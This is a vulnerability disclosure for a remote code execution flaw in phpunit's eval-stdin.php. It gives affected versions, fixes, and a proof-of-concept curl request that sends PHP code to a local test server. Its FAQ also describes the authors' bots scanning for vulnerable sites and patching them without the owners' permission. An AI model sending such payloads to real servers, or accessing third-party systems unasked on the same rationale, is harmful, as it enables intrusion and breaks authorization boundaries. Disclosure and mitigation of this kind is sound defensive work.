TL;DR

There is a vulnerability in phpunit, a widely used testing framework for PHP. The vulnerability can lead to remote code execution (RCE).

Usually phpunit is deployed using composer, a very popular dependency manager for PHP. In most cases phpunit isn't required for the production environment, but nonetheless it is installed. Placing composer modules into web accessible directory is another common mistake that allows direct exploitation of this vulnerability.

The vulnerability was accidentally patched by Bob Weinand in Nov 2016 without any security advisory.

Despite the fact that the fixed version is available for several months, there are still thousands of servers on the Internet that have a vulnerable library installed. So we decided to publicly disclose this vulnerability.

Details

Vulnerability is located in /phpunit/src/Util/PHP/eval-stdin.php file. Before patch this file contained

eval('?>'.file_get_contents('php://input'));

that could be used to run arbitrary PHP code.

PoC

For PoC purpose you can do following (suppose you have php and composer already installed):

  1. Install vulnerable version of phpunit, e.g. 5.6.2

    $ composer require phpunit/phpunit:5.6.2
  2. Run PHP internal web server with webroot in the same directory and custom port, e.g. 8888:

    $ php -S 127.0.0.1:8888
  3. Use curl to send POST request. Body (--data) should contains payload:

    $ curl --data "<?php echo(pi());" http://localhost:8888/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

you should see π value in the response.

FAQ

Is my site vulnerable?

If you are using composer look at /vendor/composer/installed.json for installed version of phpunit. The vulnerability exists in the versions from 4.8.19 till 4.8.27 and from 5.0.10 till 5.6.2 inclusive.

If you are using phpunit directly look at /phpunit/src/Util/PHP/eval-stdin.php. If the code looks like:

eval('?>' . \file_get_contents('php://stdin'));
or
eval('?>' . file_get_contents('php://stdin'));

you aren't vulnerable.

If this file doesn't exist you aren't vulnerable.

If the code looks like:

eval('?>'.file_get_contents('php://input'));

you are vulnerable.

How to fix it?

There are several ways to fix or mitigate this vulnerability:

  1. Remove phpunit as well as other dev packages. In most cases they aren't required for the production environment.

    $ composer install --no-dev
  2. Update phpunit. Versions from 4.8.28, from 5.6.3 and 6.x aren't vulnerable.

    $ composer update
  3. Apply the patch manually. Replace code of eval-stdin.php to this one:

    eval('?>' . \file_get_contents('php://stdin'));
  4. Disable direct access to the composer packages by placing .htaccess file to /vendor folder:

    Deny from all

How can I avoid such a problem in the future?

If you are developer avoid to place composer modules in the web accessible directory.

Let's name this vulnerability "ScandalEval"!

Not this time. Fix and patch, boys, fix and patch.

What is "Vulnbusters Meter" and "Vulnbusters Proton"?

They are two bots used by Vulnbusters team for harvesting vulnerable sites (Meter) and for enforcing the patch for the vulnerable sites (Proton). You can see their names in User-Agent header. Meter and Proton can connect only from IP addresses belong to vulnbusters.net domain. You can check IP via reverse DNS:

$ dig -x IP.AD.DRE.SS

Wait a minute, do you patch sites without owner permission?

Yes, we do that when the vulnerability is dangerous for the entire Internet community. Before patching we are trying to connect site owner.